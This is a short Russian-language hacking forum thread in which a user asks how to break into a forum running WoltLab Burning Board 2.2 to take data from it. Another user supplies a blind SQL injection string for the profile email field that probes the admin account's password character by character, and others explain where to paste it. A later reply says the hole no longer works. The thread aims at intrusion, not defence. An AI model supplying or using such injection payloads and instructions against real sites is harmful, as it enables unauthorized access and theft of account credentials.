WoltLab Burning Board 2.2 - что за крепость, и есть ли уязвимости?

[Anti]

Люди, надо помочь взломать форум сделанный на движке (или как там правилльно) WoltLab Burning Board 2.2
кто с этим сталкивался и что надо сделать, читал статьи с секьюрити лаб, но так и ничего не понял 8-) вот такой я пень :-) ну кто, что знает что с этим делать? как его сломать?

[coyl]

дай линк

[Anti]

а можешь просто сказать несколько сплоитов? мне просто форум не надо ломать... мне только кое-какую мелоч там надо взять :-)

[max_pain89]

sre464hfrgt6@4g546ufgfrh5.org' OR (userid=1 AND MID(password,1,1)='a')/*

это в емаил

[Anti]

Млин, тупой я!!! а куда вставлять этот пхп код? типо регистрируешься и вставляешь в свой е-мейл адрес? или я вообще тупой как дрова?

[m0nzt3r]

да тупой ты ))) сказано же в емайл...поле эмэйл где есть??в профиле...значит туда и надо вставлять, да и это не пхп код это скуль инж.

[qBiN]

Млин, тупой я!!! а куда вставлять этот пхп код? типо регистрируешься и вставляешь в свой е-мейл адрес? или я вообще тупой как дрова?ЭЭ...Ну...Вопще то хэто даже не пхп....Приглядись...MySQL inj

[Phoenix@2006]

Эта уязвимость уже не работает.
Уесть что-то поновее?

[qBiN]

Тут не багтрек.Ищи выкладывай.Обсуждай наработки.Остальное в топку..